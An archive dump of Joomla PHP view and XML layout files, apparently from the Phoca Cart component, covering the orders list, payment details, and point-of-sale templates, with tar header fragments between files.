class="' . $this->s['i']['invoice'] .
' ph-icon-invoice"></span></a>';
}
if (in_array(3, $displayDocument)) {
$view .= ' <a href="' . $linkDelNoteView .
'" class="' .
$this->s['c']['btn.btn-warning.btn-sm'] . '
ph-btn ph-orders-btn" role="button" ' .
$linkOrderViewHandler . '><span title="' .
JText::_('COM_PHOCACART_VIEW_DELIVERY_NOTE') . '"
class="' . $this->s['i']['del-note'] .
' ph-icon-del-note"></span></a>';
}
if ($this->t['plugin-pdf'] == 1 &&
$this->t['component-pdf']) {
$formatPDF = '&format=pdf';
$view .= '<br />';
if (in_array(1, $displayDocument)) {
$view .= '<a href="' . $linkOrderView . $formatPDF .
'" class="' .
$this->s['c']['btn.btn-success.btn-sm'] . '
ph-btn ph-orders-btn" role="button" ' .
$linkOrderViewHandler . '><span title="' .
JText::_('COM_PHOCACART_VIEW_ORDER') . '"
class="' . $this->s['i']['order'] . '
ph-icon-order"></span><br /><span
class="ph-icon-pdf-text">' .
JText::_('COM_PHOCACART_PDF') .
'</span></a>';
}
if (in_array(2, $displayDocument) && $v->invoice_number !=
'') {
$view .= ' <a href="' . $linkInvoiceView .
$formatPDF . '" class="' .
$this->s['c']['btn.btn-danger.btn-sm'] . '
ph-btn ph-orders-btn" role="button" ' .
$linkOrderViewHandler . '><span title="' .
JText::_('COM_PHOCACART_VIEW_INVOICE') . '"
class="' . $this->s['i']['invoice'] .
' ph-icon-invoice"></span><br /><span
class="ph-icon-pdf-text">' .
JText::_('COM_PHOCACART_PDF') .
'</span></a>';
}
if (in_array(3, $displayDocument)) {
$view .= ' <a href="' . $linkDelNoteView .
$formatPDF . '" class="' .
$this->s['c']['btn.btn-warning.btn-sm'] . '
ph-btn ph-orders-btn" role="button" ' .
$linkOrderViewHandler . '><span title="' .
JText::_('COM_PHOCACART_VIEW_DELIVERY_NOTE') . '"
class="' . $this->s['i']['del-note'] .
' ph-icon-del-note"></span><br /><span
class="ph-icon-pdf-text">' .
JText::_('COM_PHOCACART_PDF') .
'</span></a>';
}
//$view .= '<div
class="ph-icon-pdf-text-box"><span
class="ph-icon-pdf-text">'.JText::_('COM_PHOCACART_PDF').'</span><span
class="ph-icon-pdf-text">'.JText::_('COM_PHOCACART_PDF').'</span><span
class="ph-icon-pdf-text">'.JText::_('COM_PHOCACART_PDF').'</span></div>';
/* $view .= '<a
href="'.$linkOrderView.$formatPDF.'" class="btn
btn-transparent btn-small btn-xs ph-btn" role="button"
'.$linkOrderViewHandler.'><span
title="'.JText::_('COM_PHOCACART_VIEW_ORDER').'"
class="'.$this->s['i']['order'].'
icon-search ph-icon-success"></span><br /><span
class="ph-icon-success-txt">PDF</span></a>';
$view .= ' <a
href="'.$linkInvoiceView.$formatPDF.'" class="btn
btn-transparent btn-small btn-xs ph-btn" role="button"
'.$linkOrderViewHandler.'><span
title="'.JText::_('COM_PHOCACART_VIEW_INVOICE').'"
class="'.$this->s['i']['invoice'].'
icon-ph-invoice ph-icon-danger"></span><br /><span
class="ph-icon-danger-txt">PDF</span></a>';
$view .= ' <a
href="'.$linkDelNoteView.$formatPDF.'" class="btn
btn-transparent btn-small btn-xs ph-btn" role="button"
'.$linkOrderViewHandler.'><span
title="'.JText::_('COM_PHOCACART_VIEW_DELIVERY_NOTE').'"
class="'.$this->s['i']['del-note'].'
icon-ph-del-note ph-icon-warning"></span><br /><span
class="ph-icon-warning-txt">PDF</span></a>';*/
}
echo $view;
echo '</div>';
if ($this->t['display_reward_points_user_orders'] == 1) {
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
$points = PhocacartReward::getRewardPointsByOrderId($v->id);
if (!empty($points)) {
foreach ($points as $k => $v) {
$approvedClass = 'approved';
if ($v->published == 0) {
$approvedClass = 'not-approved';
}
if ($v->type == 1) {
if ($v->published == 0) {
echo '<div>' .
JText::_('COM_PHOCACART_USER_POINTS_TO_RECEIVE') . '
<span
class="'.$this->s['c']['label.label-success'].'
' . $approvedClass . '">' . $v->points .
'</span> <small>(' .
JText::_('COM_PHOCACART_USER_NOT_APPROVED_YET') .
')</small></div>';
} else {
echo '<div>' .
JText::_('COM_PHOCACART_USER_POINTS_RECEIVED') . ' <span
class="'.$this->s['c']['label.label-success'].'
' . $approvedClass . '">' . $v->points .
'</span></div>';
}
} else if ($v->type == -1) {
echo '<div>' .
JText::_('COM_PHOCACART_USER_POINTS_USED') . ' <span
class="'.$this->s['c']['label.label-danger'].'
' . $approvedClass . '">' . $v->points .
'</span></div>';
} else {
//echo '<div><span
class="label">'.$v->points.'</span></div>';
}
}
}
echo '</div>';
}
echo '<div
class="'.$this->s['c']['col.xs12.sm12.md12'].'">';
$r = array();
$r['trackinglink'] =
PhocacartOrderView::getTrackingLink($v);
$r['trackingdescription'] =
PhocacartOrderView::getTrackingDescription($v);
$r['shippingtitle'] =
PhocacartOrderView::getShippingTitle($v);
$r['dateshipped'] =
PhocacartOrderView::getDateShipped($v);
if($r['shippingtitle'] != '' ||
$r['trackinglink'] != '') {
echo '<div class="ph-shipping-info-box">';
echo '<div
class="ph-shipping-info-header">'.JText::_('COM_PHOCACART_SHIPPING_INFORMATION').'</div>';
if ($r['shippingtitle'] != '') {
echo '<div
class="ph-shipping-title">'.$r['shippingtitle'].'</div>';
}
if ($r['trackingdescription'] != '') {
echo '<div
class="ph-tracking-desc">'.$r['trackingdescription'].'</div>';
}
if ($r['trackinglink'] != '') {
echo '<div
class="ph-tracking-link">'.JText::_('COM_PHOCACART_SHIPPING_TRACKING_LINK').
': '.$r['trackinglink'].'</div>';
}
if ($r['dateshipped'] != '') {
echo '<div
class="ph-date-shipped">'.JText::_('COM_PHOCACART_DATE_SHIPPED').
': '.$r['dateshipped'].'</div>';
}
echo '</div>';
}
echo '</div>';
echo '<div class="ph-cb"></div>';
echo '</div>';
}
} else {
echo '<div class="alert alert-error
alert-danger">'.
JText::_('COM_PHOCACART_NO_ORDERS_ACCOUNT').
'</div>';
}
} else {
echo '<div class="alert alert-error
alert-danger">'.
JText::_('COM_PHOCACART_NOT_LOGGED_IN_PLEASE_LOGIN').
'</div>';
}
/*
if (!empty($this->t['categories'])) {
echo '<div class="ph-categories">';
$i = 0;
$c = count($this->t['categories']);
$nc= (int)$this->t['columns_cats'];
$nw= 12/$nc;//1,2,3,4,6,12
echo '<div class="row">';
foreach ($this->t['categories'] as $v) {
//if ($i%$nc==0) { echo '<div class="row">';}
echo '<div class="col-sm-6
col-md-'.$nw.'">';
echo '<div class="b-thumbnail ph-thumbnail
ph-thumbnail-c">';
$image = PhocacartImage::getThumbnailName($this->t['path'],
$v->image, 'medium');
$link = JRoute::_(PhocacartRoute::getCategoryRoute($v->id,
$v->alias));
if (isset($image->rel) && $image->rel != '') {
echo '<a href="'.$link.'">';
echo '<img class="img-responsive ph-image"
src="'.JURI::base(true).'/'.$image->rel.'"
alt=""';
if (isset($this->t['image_width_cats']) &&
$this->t['image_width_cats'] != '' &&
isset($this->t['image_height_cats']) &&
$this->t['image_height_cats'] != '') {
echo '
style="width:'.$this->t['image_width_cats'].';height:'.$this->t['image_height_cats'].'"';
}
echo ' />';
echo '</a>';
}
echo '<div class="caption">';
echo '<h3>'.$v->title.'</h3>';
if (!empty($v->subcategories) &&
(int)$this->t['display_subcat_cats_view'] > 0) {
echo '<ul>';
$j = 0;
foreach($v->subcategories as $v2) {
if ($j == (int)$this->t['display_subcat_cats_view']) {
break;
}
echo '<li><a
href="'.$link.'">'.$v2->title.'</a></li>';
$j++;
}
echo '</ul>';
}
// Description box will be displayed even no description is set - to set
height and have all columns same height
echo '<div class="ph-cat-desc">';
if ($v->description != '') {
echo $v->description;
}
echo '</div>';
echo '<p class="ph-pull-right"><a
href="'.JRoute::_(PhocacartRoute::getCategoryRoute($v->id,
$v->alias)).'" class="btn btn-primary"
role="button">'.JText::_('COM_PHOCACART_VIEW_CATEGORY').'</a></p>';
echo '<div class="clearfix"></div>';
echo '</div>';
echo '</div>';
echo '</div>'. "\n";
$i++;
// if ($i%$nc==0 || $c==$i) { echo '</div>';}
}
echo '</div></div>'. "\n";
}*/
echo '</div>';
echo '<div> </div>';
echo PhocacartUtilsInfo::getInfo();
?>
orders/tmpl/default.xml000064400000000724151165727050011200
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_ORDERS_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_ORDERS_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_ORDERS_LAYOUT</name>
<description>COM_PHOCACART_ORDERS_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>orders/tmpl/index.html000064400000000054151165727050011023
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>orders/view.html.php000064400000005276151165727050010513
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
jimport( 'joomla.application.component.view');
class PhocaCartViewOrders extends JViewLegacy
{
protected $t;
protected $r;
protected $p;
protected $u;
protected $s;
function display($tpl = null)
{
$app = JFactory::getApplication();
$this->u = PhocacartUser::getUser();
//$document = JFactory::getDocument();
$this->s = PhocacartRenderStyle::getStyles();
$this->p = $app->getParams();
$model = $this->getModel();
$this->t['orders'] = $model->getOrderList();
$this->t['token'] =
$app->input->get('o', '', 'string');
$this->t['order_guest_access'] =
$this->p->get( 'order_guest_access', 0 );
$this->t['display_reward_points_user_orders'] =
$this->p->get( 'display_reward_points_user_orders', 0);
if ($this->t['order_guest_access'] == 0) {
$this->t['token'] = '';
}
/*$app = JFactory::getApplication();
$document = JFactory::getDocument();
$this->p = $app->getParams();
$this->t['categories'] = $model->getCategoriesList();
$this->t['cart_metakey'] = $this->p->get(
'cart_metakey', '' );
$this->t['cart_metadesc'] = $this->p->get(
'cart_metadesc', '' );
$this->t['description'] = $this->p->get(
'description', '' );
$this->t['load_bootstrap'] = $this->p->get(
'load_bootstrap', 0 );
$this->t['equal_height'] = $this->p->get(
'equal_height', 1 );
$this->t['columns_cats'] = $this->p->get(
'columns_cats', 3 );
$this->t['image_width_cats'] = $this->p->get(
'image_width_cats', '' );
$this->t['image_height_cats'] = $this->p->get(
'image_height_cats', '' );
$this->t['display_subcat_cats_view']= $this->p->get(
'display_subcat_cats_view', 3 );
*/
$this->t['plugin-pdf'] =
PhocacartUtilsExtension::getExtensionInfo('phocacart',
'plugin', 'phocapdf');
$this->t['component-pdf'] =
PhocacartUtilsExtension::getExtensionInfo('com_phocapdf');
$media = PhocacartRenderMedia::getInstance('main');
$media->loadBase();
$media->loadWindowPopup();
$media->loadSpec();
//$this->t['path'] =
PhocacartPath::getPath('categoryimage');
$this->_prepareDocument();
parent::display($tpl);
}
protected function _prepareDocument() {
PhocacartRenderFront::prepareDocument($this->document, $this->p,
false, false, JText::_('COM_PHOCACART_ORDERS'));
}
}
?>
payment/index.html000064400000000054151165727050010226
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>payment/metadata.xml000064400000000331151165727050010531
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<!--<view title="COM_PHOCACART_PAYMENT_GROUP">
<message><![CDATA[COM_PHOCACART_PAYMENT_GROUP_DESC]]></message>
</view>-->
<view hidden="true" />
</metadata>payment/tmpl/default.php000064400000010311151165727050011337
0ustar00<?php // no direct access
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
$user = JFactory::getUser();
$payment_status = InvoicesHelper::getPaymentStatus();
if($this->payment->payment_status){
$thestatus = 1;
$class = " payment_paid";
$label_class = "success";
}
elseif($this->payment->payment_duedate != "0000-00-00
00:00:00" && !$this->payment->payment_status){
if(strtotime($this->payment->payment_duedate) <= time()) {
$class = " payment_notontime";
$thestatus = 0;
$label_class = "important";
}
else {
$class = " payment_unpaid_ontime";
$thestatus = 2;
$label_class = "warning";
}
}
elseif($this->payment->payment_duedate == "0000-00-00
00:00:00"){
$thestatus = 2;
$class = " payment_unpaid_ontime";
$label_class = "warning";
}
if($this->payment->payment_status == 2){
$thestatus = 3;
$class = " payment_pending";
}
?>
<div class="page-header">
<?php if($user->id) { ?> <a class="pull-right"
href="<?php echo JRoute::_(
'index.php?option=com_invoices&view=invoices' );
?>"><?php echo JText::_( 'RETURN_INVOICES' );
?></a><?php } ?>
<h1><?php echo JText::_( 'PAYMENT' ); ?></h1>
</div>
<div class="row-fluid">
<div class="span6">
<fieldset class="invoicesfieldset">
<legend><?php echo JText::_( 'PAYMENT_DETAILS' );
?></legend>
<dl class="dl-horizontal">
<dt><?php echo JText::_( 'PAYMENT_AMOUNT' );
?></dt>
<dd><?php echo
InvoicesHelper::format($this->payment->payment_amount,
(int)$this->payment->currency_id); ?></dd>
<dt><?php echo JText::_( 'PAYMENT_CREATION' );
?></dt>
<dd><?php if($this->payment->created_datetime ==
"0000-00-00 00:00:00") echo JText::_('NOT_SETTED');
else echo JHTML::_('date',
$this->payment->created_datetime,
JText::_('DATE_FORMAT_LC3'), false); ?></dd>
<dt><?php echo JText::_( 'PAYMENT_DUEDATE' );
?></dt>
<dd><?php if($this->payment->payment_duedate ==
"0000-00-00 00:00:00") echo JText::_('NOT_SETTED');
else echo JHTML::_('date', $this->payment->payment_duedate,
JText::_('DATE_FORMAT_LC3'), false); ?></dd>
<dt><?php echo JText::_( 'PAYMENT_DATETIME' );
?></dt>
<dd><?php if($this->payment->payment_datetime ==
"0000-00-00 00:00:00") echo JText::_('NOT_SETTED');
else echo JHTML::_('date',
$this->payment->payment_datetime,
JText::_('DATE_FORMAT_LC3'), false); ?></dd>
<dt><?php echo JText::_( 'PAYMENT_DESCRIPTION' );
?></dt>
<dd><?php echo $this->payment->payment_description ?
$this->payment->payment_description : " ";
?></dd>
<dt><?php echo JText::_( 'PAID' ); ?></dt>
<dd><?php echo $this->payment->payment_status ?
JText::_('JYES') : JText::_('JNO'); ?></dd>
<dt class="<?php echo $class; ?>"><?php echo
JText::_( 'STATUS' ); ?></dt>
<dd><span class="label label-<?php echo $label_class;
?>"><?php echo $payment_status[$thestatus];
?></span></dd>
</dl>
</fieldset>
</div>
<div class="span6">
<?php if($thestatus != 1){ ?>
<fieldset class="invoicesfieldset">
<legend><?php echo JText::_( 'PAYMENT_OPTIONS' );
?></legend>
<?php
// load the plugin
$import = JPluginHelper::importPlugin( strtolower( 'Invoices'
) );
// fire plugin
$dispatcher = JDispatcher::getInstance();
$the_payment_options = $dispatcher->trigger(
'onRenderPaymentOptions', array( $this->payment, $user ) );
if(count($the_payment_options)){
$pane = '1';
echo JHtml::_('tabs.start', "pane_$pane");
foreach($the_payment_options as $method){
echo JHtml::_('tabs.panel', JText::_( $method[1] ),
$method[1]);
?>
<?php echo $method[0]; ?>
<?php
}
echo JHtml::_('tabs.end');
}
else echo JText::_( 'NO_PAYMENT_OPTIONS_AVAILABLE' );
?>
</fieldset>
<?php } ?>
</div>
</div>
<div align="center"><?php echo
InvoicesHelper::showInvoicesFooter(); ?></div>
payment/tmpl/default.xml000064400000000737151165727050011363
0ustar00<?xml version="1.0" encoding="utf-8"?>
<!--<metadata>
<layout title="COM_PHOCACART_PAYMENT_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_PAYMENT_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_PAYMENT_LAYOUT</name>
<description>COM_PHOCACART_PAYMENT_LAYOUT_DESC</description>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>-->payment/tmpl/index.html000064400000000054151165727050011202
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>payment/view.html.php000064400000003160151165727050010660
0ustar00<?php
/*------------------------------------------------------------------------
# com_invoices - Invoice Manager for Joomla
# ------------------------------------------------------------------------
# author Germinal Camps
# copyright Copyright (C) 2012 - 2016 JoomlaThat.com. All Rights
Reserved.
# @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
# Websites: http://www.joomlathat.com
# Technical Support: Forum - http://www.joomlathat.com/support
-------------------------------------------------------------------------*/
//no direct access
defined('_JEXEC') or die('Restricted access.');
jimport( 'joomla.application.component.view');
class InvoicesViewPayment extends JViewLegacy
{
public $_path = array(
'template' => array()
);
function display($tpl = null)
{
$mainframe = JFactory::getApplication();
$pathway = $mainframe->getPathway();
$document = JFactory::getDocument();
$uri = JFactory::getURI();
jimport('joomla.html.pane');
$payment = $this->get( 'Data');
$params = JComponentHelper::getParams( 'com_invoices' );
$this->assignRef('payment', $payment);
$this->assignRef('params', $params);
if($payment->id){
//creem els breadcrumbs
//$pathway->addItem($item->name,
'index.php?option=com_finances&view=item&id='.$item->id);
//creem el titol
$document->setTitle( $payment->invoice_num );
}
//$sliders = JPane::getInstance( 'tabs' );
//$this->assign('sliders', $sliders);
//cridem els CSS
$document->addStyleSheet($uri->base() .
'components/com_invoices/assets/styles.css');
parent::display($tpl);
}
}
?>
pos/index.html000064400000000054151165727050007352
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>pos/metadata.xml000064400000000261151165727050007657
0ustar00<?xml version="1.0" encoding="utf-8"?>
<metadata>
<view title="COM_PHOCACART_POS_GROUP">
<message><![CDATA[COM_PHOCACART_POS_GROUP_DESC]]></message>
</view>
</metadata>pos/tmpl/default.php000064400000006310151165727050010467
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div id="ph-pc-pos-site">';
// POPUP
// jQuery UI
//echo '<div id="phDialogConfirm"
class="ph-dialog" title="'.
JText::_('COM_PHOCACART_CONFIRM').'"></div>';
// Bootstrap Modal
echo '<div id="phDialogConfirm" class="modal
fade" tabindex="-1" role="dialog">';
echo '<div class="modal-dialog"
role="document">';
echo '<div class="modal-content">';
echo '<div class="modal-header">';
echo '<button type="button" class="close"
data-dismiss="modal" aria-label="Close"><span
aria-hidden="true">×</span></button>';
echo '<h4 class="modal-title">'.
JText::_('COM_PHOCACART_CONFIRM').'</h4>';
echo '</div>';
echo '<div class="modal-body"></div>';
echo '<div class="modal-footer">';
echo '<button type="button" class="btn
btn-default" data-dismiss="modal">'.
JText::_('COM_PHOCACART_CANCEL').'</button>';
echo '<button id="phDialogConfirmSave"
type="button" class="btn btn-success">'.
JText::_('COM_PHOCACART_OK').'</button>';
echo '</div>';
echo '</div>';
echo '</div>';
echo '</div>';
// TOP
echo '<div class="ph-pos-wrap-top">';
echo $this->loadTemplate('main_top');
echo '</div>';
// MAIN
echo '<div class="ph-pos-wrap-main">';
// MAIN LEFT
echo '<div class="ph-pos-main-column-left">';
// MAIN FILTER
echo '<div class="ph-pos-main-filter">';
echo $this->loadTemplate('main_filter');
echo '</div>';
// MAIN CATEGORIES
echo '<div class="ph-pos-main-categories">';
echo '<div id="phPosCategoriesBox">';
echo $this->loadTemplate('main_categories');
echo '</div>';
echo '</div>';
// MAIN CONTENT
echo '<div class="ph-pos-main-content">';
// HEADER - NOT AJAX
echo '<div id="ph-pc-pos-box"
class="pc-pos-view'.$this->p->get(
'pageclass_sfx' ).'">';
echo '<div id="phPosContentBox">';
echo $this->loadTemplate('main_content_products');// divided
into more different views - as default main will display products
// FOOTER - NOT AJAX
echo '</div>';// end #phItemsBox
echo '</div>';// end #ph-pc-category-box
echo '<div id="phContainer"></div>';
echo '<div> </div>';
echo '</div>';// end ph-pos-main-content
echo '</div>';// end ph-pos-column-left
// MAIN RIGHT
echo '<div class="ph-pos-main-column-right">';
// MAIN CART
echo '<div class="ph-pos-main-cart"
id="phPosCart">';
echo '<div class="phPosCartBox"
id="phPosCartBox">';
echo $this->loadTemplate('main_cart');
echo '</div>';
echo '</div>';
// MAIN INPUT
echo '<div class="ph-pos-main-input">';
echo '<div id="phPosInputBox">';
echo $this->loadTemplate('main_input');
echo '</div>';
echo '</div>';
echo '</div>';// end ph-pos-column-right
echo '</div>';// end ph-pos-wrap-main
// BOTTOM
echo '<div class="ph-pos-wrap-bottom">';
echo $this->loadTemplate('bottom');
echo '</div>';
echo '</div>';// end ph-pc-pos-site
echo '<div class="ph-pos-warning-msg-box"
id="phPosWarningMsgBox"
style="display:none"></div>';
?>
pos/tmpl/default.xml000064400000001141151165727050010475 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<metadata>
<layout title="COM_PHOCACART_POS_LAYOUT">
<message>
<![CDATA[COM_PHOCACART_POS_LAYOUT_DESC]]>
</message>
</layout>
<name>COM_PHOCACART_POS_LAYOUT</name>
<description>COM_PHOCACART_POS_LAYOUT_DESC</description>
<fields name="request">
<fieldset name="request"
addfieldpath="/administrator/components/com_phocacart/models/fields">
</fieldset>
</fields>
<fields name="params">
<fieldset name="basic"
addfieldpath="/administrator/components/com_phocacart/models/fields"
>
</fieldset>
</fields>
</metadata>pos/tmpl/default_bottom.php000064400000000633151165727050012055
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo
'<div>'.PhocacartUtilsInfo::getInfo(2).'</div>';
?>pos/tmpl/default_currency.php000064400000003441151165727050012403
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die;
$currList = array();
$currList[] = '<div
class="ph-currency-list-box">';
if (!empty($this->t['currency_array'])) {
foreach($this->t['currency_array'] as $k => $v) {
$image = '';
if (isset($v->image) && $v->image != '') {
$image = '<img class="ph-currency-image-list"
src="'.JURI::base(true). '/' .
$v->image.'" alt="'.$v->code.'"
/>';
}
if ($v->active == 1) {
//$item .= ' <span
class="ph-currency-list-suffix">('.$image .' '
. $v->code.')</span>';
//$item .= ' <span
class="ph-currency-list-suffix">'.$image .' ' .
$v->code.'</span>';
}
$currList[] = '<a href="javascript:void(0);"
onclick="jQuery(\'<input>\').attr({type:
\'hidden\', id: \'id\', name: \'id\', value:
\''.(int)$v->id.'\'}).appendTo(\'#phPosCurrencyBoxForm\');jQuery(\'#phPosCurrencyBoxForm\').submit()"
class="btn btn-info ph-btn-dropdown-currency"><span
class="ph-currency-list">'.$image .'</span>
'. $v->text.'</a>';
}
}
$currList[] = '</div>';
echo '<div>';
echo implode('', $currList);
echo '<form
action="'.$this->t['linkcheckout'].'"
method="post" id="phPosCurrencyBoxForm">';
echo '<input type="hidden" name="task"
value="checkout.currency">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="return"
value="'.$this->t['actionbase64'].'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</form>';
echo '</div>';
pos/tmpl/default_info.php000064400000001577151165727050011514
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div id="ph-pc-pos-site">';
// TOP
echo '<div class="ph-pos-wrap-top">';
echo $this->loadTemplate('vendor');
echo $this->loadTemplate('logo');
echo '</div>';
echo '<div class="ph-pos-wrap-main">';
echo '<div class="ph-pos-main-page">';
echo '<div class="alert
'.$this->t['infotype'].'">' .
$this->t['infotext'] . '</div>';
echo '</div>';// end ph-pos-main-page
echo '</div>';// end ph-pos-wrap-main
echo '<div class="ph-pos-wrap-bottom">';
echo $this->loadTemplate('bottom');
echo '</div>';
echo '</div>';
?>pos/tmpl/default_logo.php000064400000001051151165727060011505
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div class="ph-pos-logo">';
echo '<img
class="'.$this->s['c']['img-responsive'].'
ph-image"
src="'.JURI::base(true).'/media/com_phocacart/images/phoca-pos.png"
alt="" />';
echo '</div>';
?>
pos/tmpl/default_main_cart.php000064400000000727151165727060012513
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
// Displayed only for standard request, not for AJAX (ajax is created in
controller)
echo $this->cart->render();
?>pos/tmpl/default_main_categories.php000064400000003537151165727060013711
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
if (!empty($this->t['categories'])) {
// this function is triggered in phocapos.js
echo '<form
class="'.$this->s['c']['form-inline'].'
ph-pos-checkbox-form"
action="'.$this->t['linkpos'].'"
id="phPosCategory" method="post">';
echo '<div class="ph-pos-checkbox-box btn-group-toggle"
data-toggle="buttons" >';//
data-toggle="buttons" - changes the standard checkbox to
graphical checkbox
foreach ($this->t['categories'] as $k => $v) {
$active = '';
$attrO = '';
if (in_array((int)$v->id, $this->t['categoryarray'])) {
$active = ' active';
$attrO = ' checked="checked"';
}
echo '<label
class="'.$this->s['c']['btn'].'
phCheckBoxButton phCheckBoxCategory '.$active.'"
><input type="checkbox" '.$attrO.'
class="phPosCategoryCheckbox"
name="c['.$v->id.']"
value="'.$v->id.'" autocomplete="off"
/><span
class="'.$this->s['i']['ok'].'"
title="'.htmlspecialchars($v->title).''.'"></span>
'.htmlspecialchars($v->title).'</label> ';
}
echo '<input type="hidden" name="type"
value="products">';
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'"
/>';
echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'"
/>';
echo '<input type="hidden" name="section"
value="'.(int)$this->t['section']->id.'"
/>';
echo Joomla\CMS\HTML\HTMLHelper::_('form.token');
echo '</div>';
echo '</form>';
}
?>
pos/tmpl/default_main_content_customers.php000064400000011702151165727060015333
0ustar00<?php
/* @package Joomla
* @copyright Copyright (C) Open Source Matters. All rights reserved.
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php
* @extension Phoca Extension
* @copyright Copyright (C) Jan Pavelka www.phoca.cz
* @license http://www.gnu.org/copyleft/gpl.html GNU/GPL
*/
defined('_JEXEC') or die();
echo '<div
class="ph-box-header">'.JText::_('COM_PHOCACART_CUSTOMERS').'</div>';
if (!empty($this->items)) {
foreach ($this->items as $v) {
echo '<div
class="'.$this->s['c']['row'].'
ph-pos-customer-row">';
echo '<div
class="'.$this->s['c']['row-item'].'
'.$this->s['c']['col.xs12.sm6.md6'].'">';
echo '<div
class="ph-pos-customer-name">'.$v->name.'</div>';
echo '</div>';
echo '<div
class="'.$this->s['c']['row-item'].'
ph-pos-customer-action
'.$this->s['c']['col.xs12.sm6.md6'].'">';
//echo '<form class="form-inline"
action="'.$this->t['linkpos'].'">';
echo '<form
action="'.$this->t['linkpos'].'"
method="post"
class="'.$this->s['c']['form-horizontal.form-validate'].'"
role="form">';
echo '<input type="hidden" name="task"
value="pos.savecustomer">';
if ((int)$this->t['user']->id == (int)$v->id) {
echo '<input type="hidden" name="id"
value="0">';
} else {
echo '<input type="hidden" name="id"
value="'.(int)$v->id.'">';
}
echo '<input type="hidden" name="tmpl"
value="component" />';
echo '<input type="hidden" name="option"
value="com_phocacart" />';
// echo '<input type="hidden" name="ticketid"
value="'.(int)$this->t['ticket']->id.'"
/>';
// echo '<input type="hidden" name="unitid"
value="'.(int)$this->t['unit']->id.'"
/>';
// echo '<input type="hidden" name="sectionid"
value="'.(int)$this->t['section']->id.'"
/>';
//echo '<input type="hidden"
name="mainboxdata"
value="'.$this->t['mainboxdatabase64'].'"
/>';
echo '<input type="hidden"
name="redirectsuccess" value="main.content.products"
/>';
echo '<input type="hidden"
name="redirecterror" value="main.content.customers"
/>';
